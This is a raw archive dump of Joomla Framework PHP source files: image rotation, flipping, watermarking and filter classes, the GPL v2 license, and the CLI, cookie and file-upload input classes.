*
* @since 1.0
* @throws \LogicException
*/
public function rotate($angle, $background = -1, $createNew = true)
{
// Sanitize input
$angle = (float) $angle;
// Create the new truecolor image handle.
$handle = imagecreatetruecolor($this->getWidth(),
$this->getHeight());
// Make background transparent if no external background color is
provided.
if ($background == -1)
{
// Allow transparency for the new image handle.
imagealphablending($handle, false);
imagesavealpha($handle, true);
$background = imagecolorallocatealpha($handle, 0, 0, 0, 127);
}
// Copy the image
imagecopy($handle, $this->getHandle(), 0, 0, 0, 0,
$this->getWidth(), $this->getHeight());
// Rotate the image
$handle = imagerotate($handle, $angle, $background);
// If we are resizing to a new image, create a new Image object.
if ($createNew)
{
// @codeCoverageIgnoreStart
return new static($handle);
// @codeCoverageIgnoreEnd
}
// Swap out the current handle for the new image handle.
$this->destroy();
$this->handle = $handle;
return $this;
}
/**
* Method to flip the current image.
*
* @param integer $mode The flip mode for flipping the image
{@link
https://www.php.net/imageflip#refsect1-function.imageflip-parameters}
* @param boolean $createNew If true the current image will be cloned,
flipped and returned; else
* the current image will be flipped and
returned.
*
* @return Image
*
* @since 1.2.0
* @throws \LogicException
*/
public function flip($mode, $createNew = true)
{
// Create the new truecolor image handle.
$handle = imagecreatetruecolor($this->getWidth(),
$this->getHeight());
// Copy the image
imagecopy($handle, $this->getHandle(), 0, 0, 0, 0,
$this->getWidth(), $this->getHeight());
// Flip the image
if (!imageflip($handle, $mode))
{
throw new \LogicException('Unable to flip the image.');
}
// If we are resizing to a new image, create a new Image object.
if ($createNew)
{
// @codeCoverageIgnoreStart
return new static($handle);
// @codeCoverageIgnoreEnd
}
// Free the memory from the current handle
$this->destroy();
// Swap out the current handle for the new image handle.
$this->handle = $handle;
return $this;
}
/**
* Watermark the image
*
* @param Image $watermark The Image object containing the
watermark graphic
* @param integer $transparency The transparency to use for the
watermark graphic
* @param integer $bottomMargin The margin from the bottom of this
image
* @param integer $rightMargin The margin from the right side of this
image
*
* @return Image
*
* @since 1.3.0
* @link https://www.php.net/manual/en/image.examples-watermark.php
*/
public function watermark(Image $watermark, $transparency = 50,
$bottomMargin = 0, $rightMargin = 0)
{
imagecopymerge(
$this->getHandle(),
$watermark->getHandle(),
$this->getWidth() - $watermark->getWidth() - $rightMargin,
$this->getHeight() - $watermark->getHeight() - $bottomMargin,
0,
0,
$watermark->getWidth(),
$watermark->getHeight(),
$transparency
);
return $this;
}
/**
* Method to write the current image out to a file or output directly.
*
* @param mixed $path The filesystem path to save the image.
* When null, the raw image stream will be
outputted directly.
* @param integer $type The image type to save the file as.
* @param array $options The image type options to use in saving the
file.
* For PNG and JPEG formats use `quality` key
to set compression level (0..9 and 0..100)
*
* @return boolean
*
* @link https://www.php.net/manual/image.constants.php
* @since 1.0
* @throws \LogicException
*/
public function toFile($path, $type = IMAGETYPE_JPEG, array $options =
array())
{
switch ($type)
{
case IMAGETYPE_GIF:
return imagegif($this->getHandle(), $path);
case IMAGETYPE_PNG:
return imagepng($this->getHandle(), $path,
(array_key_exists('quality', $options)) ?
$options['quality'] : 0);
}
// Case IMAGETYPE_JPEG & default
return imagejpeg($this->getHandle(), $path,
(array_key_exists('quality', $options)) ?
$options['quality'] : 100);
}
/**
* Method to get an image filter instance of a specified type.
*
* @param string $type The image filter type to get.
*
* @return ImageFilter
*
* @since 1.0
* @throws \RuntimeException
*/
protected function getFilterInstance($type)
{
// Sanitize the filter type.
$type = strtolower(preg_replace('#[^A-Z0-9_]#i', '',
$type));
// Verify that the filter type exists.
$className = 'Joomla\\Image\\Filter\\' . ucfirst($type);
if (!class_exists($className))
{
$this->getLogger()->error('The ' . ucfirst($type) .
' image filter is not available.');
throw new \RuntimeException('The ' . ucfirst($type) . '
image filter is not available.');
}
// Instantiate the filter object.
$instance = new $className($this->getHandle());
// Verify that the filter type is valid.
if (!($instance instanceof ImageFilter))
{
// @codeCoverageIgnoreStart
$this->getLogger()->error('The ' . ucfirst($type) .
' image filter is not valid.');
throw new \RuntimeException('The ' . ucfirst($type) . '
image filter is not valid.');
// @codeCoverageIgnoreEnd
}
return $instance;
}
/**
* Method to get the new dimensions for a resized image.
*
* @param integer $width The width of the resized image in
pixels.
* @param integer $height The height of the resized image in
pixels.
* @param integer $scaleMethod The method to use for scaling
*
* @return \stdClass
*
* @since 1.0
* @throws \InvalidArgumentException If width, height or both given as
zero
*/
protected function prepareDimensions($width, $height, $scaleMethod)
{
// Instantiate variables.
$dimensions = new \stdClass;
switch ($scaleMethod)
{
case self::SCALE_FILL:
$dimensions->width = (int) round($width);
$dimensions->height = (int) round($height);
break;
case self::SCALE_INSIDE:
case self::SCALE_OUTSIDE:
case self::SCALE_FIT:
$rx = ($width > 0) ? ($this->getWidth() / $width) : 0;
$ry = ($height > 0) ? ($this->getHeight() / $height) : 0;
if ($scaleMethod != self::SCALE_OUTSIDE)
{
$ratio = max($rx, $ry);
}
else
{
$ratio = min($rx, $ry);
}
$dimensions->width = (int) round($this->getWidth() / $ratio);
$dimensions->height = (int) round($this->getHeight() / $ratio);
break;
default:
throw new \InvalidArgumentException('Invalid scale method.');
}
return $dimensions;
}
/**
* Method to sanitize a height value.
*
* @param mixed $height The input height value to sanitize.
* @param mixed $width The input width value for reference.
*
* @return integer
*
* @since 1.0
*/
protected function sanitizeHeight($height, $width)
{
// If no height was given we will assume it is a square and use the
width.
$height = ($height === null) ? $width : $height;
// If we were given a percentage, calculate the integer value.
if (preg_match('/^[0-9]+(\.[0-9]+)?\%$/', $height))
{
$height = (int) round($this->getHeight() * (float)
str_replace('%', '', $height) / 100);
}
else
{
// Else do some rounding so we come out with a sane integer value.
$height = (int) round((float) $height);
}
return $height;
}
/**
* Method to sanitize an offset value like left or top.
*
* @param mixed $offset An offset value.
*
* @return integer
*
* @since 1.0
*/
protected function sanitizeOffset($offset)
{
return (int) round((float) $offset);
}
/**
* Method to sanitize a width value.
*
* @param mixed $width The input width value to sanitize.
* @param mixed $height The input height value for reference.
*
* @return integer
*
* @since 1.0
*/
protected function sanitizeWidth($width, $height)
{
// If no width was given we will assume it is a square and use the
height.
$width = ($width === null) ? $height : $width;
// If we were given a percentage, calculate the integer value.
if (preg_match('/^[0-9]+(\.[0-9]+)?\%$/', $width))
{
$width = (int) round($this->getWidth() * (float)
str_replace('%', '', $width) / 100);
}
else
{
// Else do some rounding so we come out with a sane integer value.
$width = (int) round((float) $width);
}
return $width;
}
/**
* Method to destroy an image handle and free the memory associated with
the handle
*
* @return boolean True on success, false on failure or if no image is
loaded
*
* @since 1.0
*/
public function destroy()
{
if ($this->isLoaded())
{
return imagedestroy($this->getHandle());
}
return false;
}
/**
* Method to call the destroy() method one last time to free any memory
when the object is unset
*
* @see Image::destroy()
* @since 1.0
*/
public function __destruct()
{
$this->destroy();
}
/**
* Method for set option of generate thumbnail method
*
* @param boolean $quality True for best quality. False for best
speed.
*
* @return void
*
* @since 1.4.0
*/
public function setThumbnailGenerate($quality = true)
{
$this->generateBestQuality = (boolean) $quality;
}
/**
* @param mixed $handle A potential image handle
*
* @return boolean
*/
private function isValidImage($handle)
{
// @todo Remove resource check, once PHP7 support is dropped.
return (\is_resource($handle) && \get_resource_type($handle) ===
'gd')
|| (\is_object($handle) && $handle instanceof \GDImage);
}
}
PK�[,����
�
image/src/ImageFilter.phpnu�[���<?php
/**
* Part of the Joomla Framework Image Package
*
* @copyright Copyright (C) 2005 - 2018 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\Image;
use Psr\Log\LoggerAwareInterface;
use Psr\Log\LoggerInterface;
use Psr\Log\NullLogger;
/**
* Class to manipulate an image.
*
* @since 1.0
* @deprecated The joomla/image package is deprecated
*/
abstract class ImageFilter implements LoggerAwareInterface
{
/**
* @var resource|\GdImage The image resource handle.
* @since 1.0
*/
protected $handle;
/**
* @var LoggerInterface Logger object
* @since 1.0
*/
protected $logger;
/**
* Class constructor.
*
* @param resource|\GdImage $handle The image resource on which to
apply the filter.
*
* @since 1.0
* @throws \InvalidArgumentException
* @throws \RuntimeException
*/
public function __construct($handle)
{
// Verify that image filter support for PHP is available.
if (!\function_exists('imagefilter'))
{
// @codeCoverageIgnoreStart
$this->getLogger()->error('The imagefilter function for PHP
is not available.');
throw new \RuntimeException('The imagefilter function for PHP is
not available.');
// @codeCoverageIgnoreEnd
}
// Make sure the file handle is valid.
if (!$this->isValidImage($handle))
{
$this->getLogger()->error('The image handle is invalid for
the image filter.');
throw new \InvalidArgumentException('The image handle is invalid
for the image filter.');
}
$this->handle = $handle;
}
/**
* Get the logger.
*
* @return LoggerInterface
*
* @since 1.0
*/
public function getLogger()
{
// If a logger hasn't been set, use NullLogger
if (! ($this->logger instanceof LoggerInterface))
{
$this->logger = new NullLogger;
}
return $this->logger;
}
/**
* Sets a logger instance on the object
*
* @param LoggerInterface $logger A PSR-3 compliant logger.
*
* @return ImageFilter This object for message chaining.
*
* @since 1.0
*/
public function setLogger(LoggerInterface $logger)
{
$this->logger = $logger;
return $this;
}
/**
* Method to apply a filter to an image resource.
*
* @param array $options An array of options for the filter.
*
* @return void
*
* @since 1.0
*/
abstract public function execute(array $options = array());
/**
* @param mixed $handle A potential image handle
*
* @return boolean
*/
private function isValidImage($handle)
{
// @todo Remove resource check, once PHP7 support is dropped.
return (\is_resource($handle) && \get_resource_type($handle) ===
'gd')
|| (\is_object($handle) && $handle instanceof \GDImage);
}
}
PK�[�P�E�E
input/LICENSEnu�[���GNU GENERAL PUBLIC
LICENSE
Version 2, June 1991
Copyright (C) 1989, 1991 Free Software Foundation, Inc.
59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The licenses for most software are designed to take away your
freedom to share and change it. By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users. This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it. (Some other Free Software Foundation software is covered by
the GNU Library General Public License instead.) You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.
To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have. You must make sure that they, too, receive or can get the
source code. And you must show them these terms so they know their
rights.
We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.
Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software. If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.
Finally, any free program is threatened constantly by software
patents. We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary. To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at
all.
The precise terms and conditions for copying, distribution and
modification follow.
GNU GENERAL PUBLIC LICENSE
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
0. This License applies to any program or other work which contains
a notice placed by the copyright holder saying it may be distributed
under the terms of this General Public License. The "Program",
below,
refers to any such program or work, and a "work based on the
Program"
means either the Program or any derivative work under copyright law:
that is to say, a work containing the Program or a portion of it,
either verbatim or with modifications and/or translated into another
language. (Hereinafter, translation is included without limitation in
the term "modification".) Each licensee is addressed as
"you".
Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope. The act of
running the Program is not restricted, and the output from the Program
is covered only if its contents constitute a work based on the
Program (independent of having been made by running the Program).
Whether that is true depends on what the Program does.
1. You may copy and distribute verbatim copies of the Program's
source code as you receive it, in any medium, provided that you
conspicuously and appropriately publish on each copy an appropriate
copyright notice and disclaimer of warranty; keep intact all the
notices that refer to this License and to the absence of any warranty;
and give any other recipients of the Program a copy of this License
along with the Program.
You may charge a fee for the physical act of transferring a copy, and
you may at your option offer warranty protection in exchange for a fee.
2. You may modify your copy or copies of the Program or any portion
of it, thus forming a work based on the Program, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:
a) You must cause the modified files to carry prominent notices
stating that you changed the files and the date of any change.
b) You must cause any work that you distribute or publish, that in
whole or in part contains or is derived from the Program or any
part thereof, to be licensed as a whole at no charge to all third
parties under the terms of this License.
c) If the modified program normally reads commands interactively
when run, you must cause it, when started running for such
interactive use in the most ordinary way, to print or display an
announcement including an appropriate copyright notice and a
notice that there is no warranty (or else, saying that you provide
a warranty) and that users may redistribute the program under
these conditions, and telling the user how to view a copy of this
License. (Exception: if the Program itself is interactive but
does not normally print such an announcement, your work based on
the Program is not required to print an announcement.)
These requirements apply to the modified work as a whole. If
identifiable sections of that work are not derived from the Program,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works. But when you
distribute the same sections as part of a whole which is a work based
on the Program, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote it.
Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Program.
In addition, mere aggregation of another work not based on the Program
with the Program (or with a work based on the Program) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.
3. You may copy and distribute the Program (or a work based on it,
under Section 2) in object code or executable form under the terms of
Sections 1 and 2 above provided that you also do one of the following:
a) Accompany it with the complete corresponding machine-readable
source code, which must be distributed under the terms of Sections
1 and 2 above on a medium customarily used for software interchange; or,
b) Accompany it with a written offer, valid for at least three
years, to give any third party, for a charge no more than your
cost of physically performing source distribution, a complete
machine-readable copy of the corresponding source code, to be
distributed under the terms of Sections 1 and 2 above on a medium
customarily used for software interchange; or,
c) Accompany it with the information you received as to the offer
to distribute corresponding source code. (This alternative is
allowed only for noncommercial distribution and only if you
received the program in object code or executable form with such
an offer, in accord with Subsection b above.)
The source code for a work means the preferred form of the work for
making modifications to it. For an executable work, complete source
code means all the source code for all modules it contains, plus any
associated interface definition files, plus the scripts used to
control compilation and installation of the executable. However, as a
special exception, the source code distributed need not include
anything that is normally distributed (in either source or binary
form) with the major components (compiler, kernel, and so on) of the
operating system on which the executable runs, unless that component
itself accompanies the executable.
If distribution of executable or object code is made by offering
access to copy from a designated place, then offering equivalent
access to copy the source code from the same place counts as
distribution of the source code, even though third parties are not
compelled to copy the source along with the object code.
4. You may not copy, modify, sublicense, or distribute the Program
except as expressly provided under this License. Any attempt
otherwise to copy, modify, sublicense or distribute the Program is
void, and will automatically terminate your rights under this License.
However, parties who have received copies, or rights, from you under
this License will not have their licenses terminated so long as such
parties remain in full compliance.
5. You are not required to accept this License, since you have not
signed it. However, nothing else grants you permission to modify or
distribute the Program or its derivative works. These actions are
prohibited by law if you do not accept this License. Therefore, by
modifying or distributing the Program (or any work based on the
Program), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Program or works based on it.
6. Each time you redistribute the Program (or any work based on the
Program), the recipient automatically receives a license from the
original licensor to copy, distribute or modify the Program subject to
these terms and conditions. You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties to
this License.
7. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Program at all. For example, if a patent
license would not permit royalty-free redistribution of the Program by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Program.
If any portion of this section is held invalid or unenforceable under
any particular circumstance, the balance of the section is intended to
apply and the section as a whole is intended to apply in other
circumstances.
It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system, which is
implemented by public license practices. Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.
This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.
8. If the distribution and/or use of the Program is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Program under this License
may add an explicit geographical distribution limitation excluding
those countries, so that distribution is permitted only in or among
countries not thus excluded. In such case, this License incorporates
the limitation as if written in the body of this License.
9. The Free Software Foundation may publish revised and/or new versions
of the General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the Program
specifies a version number of this License which applies to it and
"any
later version", you have the option of following the terms and
conditions
either of that version or of any later version published by the Free
Software Foundation. If the Program does not specify a version number of
this License, you may choose any version ever published by the Free
Software
Foundation.
10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
to ask for permission. For software which is copyrighted by the Free
Software Foundation, write to the Free Software Foundation; we sometimes
make exceptions for this. Our decision will be guided by the two goals
of preserving the free status of all derivatives of our free software and
of promoting the sharing and reuse of software generally.
NO WARRANTY
11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER
EXPRESSED
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
REPAIR OR CORRECTION.
12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
convey the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is
found.
<one line to give the program's name and a brief idea of what it
does.>
Copyright (C) <year> <name of author>
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
Also add information on how to contact you by electronic and paper mail.
If the program is interactive, make it output a short notice like this
when it starts in an interactive mode:
Gnomovision version 69, Copyright (C) year name of author
Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show
w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the
appropriate
parts of the General Public License. Of course, the commands you use may
be called something other than `show w' and `show c'; they could
even be
mouse-clicks or menu items--whatever suits your program.
You should also get your employer (if you work as a programmer) or your
school, if any, to sign a "copyright disclaimer" for the program,
if
necessary. Here is a sample; alter the names:
Yoyodyne, Inc., hereby disclaims all copyright interest in the program
`Gnomovision' (which makes passes at compilers) written by James
Hacker.
<signature of Ty Coon>, 1 April 1989
Ty Coon, President of Vice
This General Public License does not permit incorporating your program into
proprietary programs. If your program is a subroutine library, you may
consider it more useful to permit linking proprietary applications with the
library. If this is what you want to do, use the GNU Library General
Public License instead of this License.
PK�[2Fh��input/src/Cli.phpnu�[���<?php
/**
* Part of the Joomla Framework Input Package
*
* @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\Input;
use Joomla\Filter;
/**
* Joomla! Input CLI Class
*
* @since 1.0
* @deprecated 2.0 Use a Symfony\Component\Console\Input\InputInterface
implementation when using the `joomla/console` package
*/
class Cli extends Input
{
/**
* The executable that was called to run the CLI script.
*
* @var string
* @since 1.0
*/
public $executable;
/**
* The additional arguments passed to the script that are not associated
* with a specific argument name.
*
* @var array
* @since 1.0
*/
public $args = array();
/**
* Constructor.
*
* @param array $source Source data (Optional, default is $_REQUEST)
* @param array $options Array of configuration parameters (Optional)
*
* @since 1.0
*/
public function __construct($source = null, array $options = array())
{
if (isset($options['filter']))
{
$this->filter = $options['filter'];
}
else
{
$this->filter = new Filter\InputFilter;
}
// Get the command line options
$this->parseArguments();
// Set the options for the class.
$this->options = $options;
}
/**
* Method to serialize the input.
*
* @return string The serialized input.
*
* @since 1.0
*/
public function serialize()
{
// Load all of the inputs.
$this->loadAllInputs();
// Remove $_ENV and $_SERVER from the inputs.
$inputs = $this->inputs;
unset($inputs['env'], $inputs['server']);
// Serialize the executable, args, options, data, and inputs.
return serialize(array($this->executable, $this->args,
$this->options, $this->data, $inputs));
}
/**
* Gets a value from the input data.
*
* @param string $name Name of the value to get.
* @param mixed $default Default value to return if variable does not
exist.
* @param string $filter Filter to apply to the value.
*
* @return mixed The filtered input value.
*
* @since 1.0
*/
public function get($name, $default = null, $filter = 'string')
{
return parent::get($name, $default, $filter);
}
/**
* Method to unserialize the input.
*
* @param string $input The serialized input.
*
* @return void
*
* @since 1.0
*/
public function unserialize($input)
{
// Unserialize the executable, args, options, data, and inputs.
list($this->executable, $this->args, $this->options,
$this->data, $this->inputs) = unserialize($input);
// Load the filter.
if (isset($this->options['filter']))
{
$this->filter = $this->options['filter'];
}
else
{
$this->filter = new Filter\InputFilter;
}
}
/**
* Initialise the options and arguments
*
* Not supported: -abc c-value
*
* @return void
*
* @since 1.0
*/
protected function parseArguments()
{
$argv = $_SERVER['argv'];
$this->executable = array_shift($argv);
$out = array();
for ($i = 0, $j = \count($argv); $i < $j; $i++)
{
$arg = $argv[$i];
// --foo --bar=baz
if (substr($arg, 0, 2) === '--')
{
$eqPos = strpos($arg, '=');
// --foo
if ($eqPos === false)
{
$key = substr($arg, 2);
// --foo value
if ($i + 1 < $j && $argv[$i + 1][0] !== '-')
{
$value = $argv[$i + 1];
$i++;
}
else
{
$value = isset($out[$key]) ? $out[$key] : true;
}
$out[$key] = $value;
}
// --bar=baz
else
{
$key = substr($arg, 2, $eqPos - 2);
$value = substr($arg, $eqPos + 1);
$out[$key] = $value;
}
}
// -k=value -abc
elseif (substr($arg, 0, 1) === '-')
{
// -k=value
if (substr($arg, 2, 1) === '=')
{
$key = substr($arg, 1, 1);
$value = substr($arg, 3);
$out[$key] = $value;
}
// -abc
else
{
$chars = str_split(substr($arg, 1));
foreach ($chars as $char)
{
$key = $char;
$value = isset($out[$key]) ? $out[$key] : true;
$out[$key] = $value;
}
// -a a-value
if ((\count($chars) === 1) && ($i + 1 < $j) &&
($argv[$i + 1][0] !== '-'))
{
$out[$key] = $argv[$i + 1];
$i++;
}
}
}
// Plain-arg
else
{
$this->args[] = $arg;
}
}
$this->data = $out;
}
}
PK�[/g���
�
input/src/Cookie.phpnu�[���<?php
/**
* Part of the Joomla Framework Input Package
*
* @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\Input;
use Joomla\Filter;
/**
* Joomla! Input Cookie Class
*
* @since 1.0
*/
class Cookie extends Input
{
/**
* Constructor.
*
* @param array $source Ignored.
* @param array $options Array of configuration parameters (Optional)
*
* @since 1.0
*/
public function __construct($source = null, array $options = array())
{
if (isset($options['filter']))
{
$this->filter = $options['filter'];
}
else
{
$this->filter = new Filter\InputFilter;
}
// Set the data source.
$this->data = & $_COOKIE;
// Set the options for the class.
$this->options = $options;
}
/**
* Sets a value
*
* @param string $name Name of the value to set.
* @param mixed $value Value to assign to the input.
* @param array $options An associative array which may have any of
the keys expires, path, domain,
* secure, httponly and samesite. The values
have the same meaning as described
* for the parameters with the same name. The
value of the samesite element
* should be either Lax or Strict. If any of
the allowed options are not given,
* their default values are the same as the
default values of the explicit
* parameters. If the samesite element is
omitted, no SameSite cookie attribute
* is set.
*
* @return void
*
* @link https://www.ietf.org/rfc/rfc2109.txt
* @link https://php.net/manual/en/function.setcookie.php
*
* @since 1.0
*
* @note As of 1.4.0, the (name, value, expire, path, domain, secure,
httpOnly) signature is deprecated and will not be supported
* when support for PHP 7.2 and earlier is dropped
*/
public function set($name, $value, $options = array())
{
// BC layer to convert old method parameters.
if (is_array($options) === false)
{
$argList = func_get_args();
$options = array(
'expires' => isset($argList[2]) === true ? $argList[2] :
0,
'path' => isset($argList[3]) === true ? $argList[3] :
'',
'domain' => isset($argList[4]) === true ? $argList[4] :
'',
'secure' => isset($argList[5]) === true ? $argList[5] :
false,
'httponly' => isset($argList[6]) === true ? $argList[6] :
false,
);
}
// Set the cookie
if (version_compare(PHP_VERSION, '7.3', '>='))
{
setcookie($name, $value, $options);
}
else
{
// Using the setcookie function before php 7.3, make sure we have
default values.
if (array_key_exists('expires', $options) === false)
{
$options['expires'] = 0;
}
if (array_key_exists('path', $options) === false)
{
$options['path'] = '';
}
if (array_key_exists('domain', $options) === false)
{
$options['domain'] = '';
}
if (array_key_exists('secure', $options) === false)
{
$options['secure'] = false;
}
if (array_key_exists('httponly', $options) === false)
{
$options['httponly'] = false;
}
setcookie($name, $value, $options['expires'],
$options['path'], $options['domain'],
$options['secure'], $options['httponly']);
}
$this->data[$name] = $value;
}
}
PK�[M:��
�
input/src/Files.phpnu�[���<?php
/**
* Part of the Joomla Framework Input Package
*
* @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\Input;
use Joomla\Filter;
/**
* Joomla! Input Files Class
*
* @since 1.0
*/
class Files extends Input
{
/**
* The pivoted data from a $_FILES or compatible array.
*
* @var array
* @since 1.0
*/
protected $decodedData = array();
/**
* The class constructor.
*
* @param array $source The source argument is ignored. $_FILES is
always used.
* @param array $options An optional array of configuration options:
* filter : a custom JFilterInput object.
*
* @since 1.0
*/
public function __construct($source = null, array $options = array())
{
if (isset($options['filter']))
{
$this->filter = $options['filter'];
}
else
{
$this->filter = new Filter\InputFilter;
}
// Set the data source.
$this->data = & $_FILES;
// Set the options for the class.
$this->options = $options;
}
/**
* Gets a value from the input data.
*
* @param string $name The name of the input property (usually the
name of the files INPUT tag) to get.
* @param mixed $default The default value to return if the named
property does not exist.
* @param string $filter The filter to apply to the value.
*
* @return mixed The filtered input value.
*
* @see \Joomla\Filter\InputFilter::clean()
* @since 1.0
*/
public function get($name, $default = null, $filter = 'cmd')
{
if (isset($this->data[$name]))
{
$results = $this->decodeData(
array(
$this->data[$name]['name'],
$this->data[$name]['type'],
$this->data[$name]['tmp_name'],
$this->data[$name]['error'],
$this->data[$name]['size'],
)
);
return $results;
}
return $default;
}
/**
* Method to decode a data array.
*
* @param array $data The data array to decode.
*
* @return array
*
* @since 1.0
*/
protected function decodeData(array $data)
{
$result = array();
if (\is_array($data[0]))
{
foreach ($data[0] as $k => $v)
{
$result[$k] = $this->decodeData(array($data[0][$k], $data[1][$k],
$data[2][$k], $data[3][$k], $data[4][$k]));
}
return $result;
}
return array('name' => $data[0], 'type' =>
$data[1], 'tmp_name' => $data[2], 'error' =>
$data[3], 'size' => $data[4]);
}
/**
* Sets a value.
*
* @param string $name The name of the input property to set.
* @param mixed $value The value to assign to the input property.
*
* @return void
*
* @since 1.0
*/
public function set($name, $value)
{
// Restricts the usage of parent's set method.
}
}
PK�[�{�%�%input/src/Input.phpnu�[���<?php
/**
* Part of the Joomla Framework Input Package
*
* @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\Input;
use Joomla\Filter;
/**
* Joomla! Input Base Class
*
* This is an abstracted input class used to manage retrieving data from
the application environment.
*
* @since 1.0
*
* @property-read Input $get
* @property-read Input $post
* @property-read Input $request
* @property-read Input $server
* @property-read Input $env
* @property-read Files $files
* @property-read Cookie $cookie
*
* @method integer getInt($name, $default = null) Get a signed
integer.
* @method integer getUint($name, $default = null) Get an
unsigned integer.
* @method float getFloat($name, $default = null) Get a
floating-point number.
* @method boolean getBool($name, $default = null) Get a boolean
value.
* @method string getWord($name, $default = null) Get a word.
* @method string getAlnum($name, $default = null) Get an
alphanumeric string.
* @method string getCmd($name, $default = null) Get a CMD
filtered string.
* @method string getBase64($name, $default = null) Get a base64
encoded string.
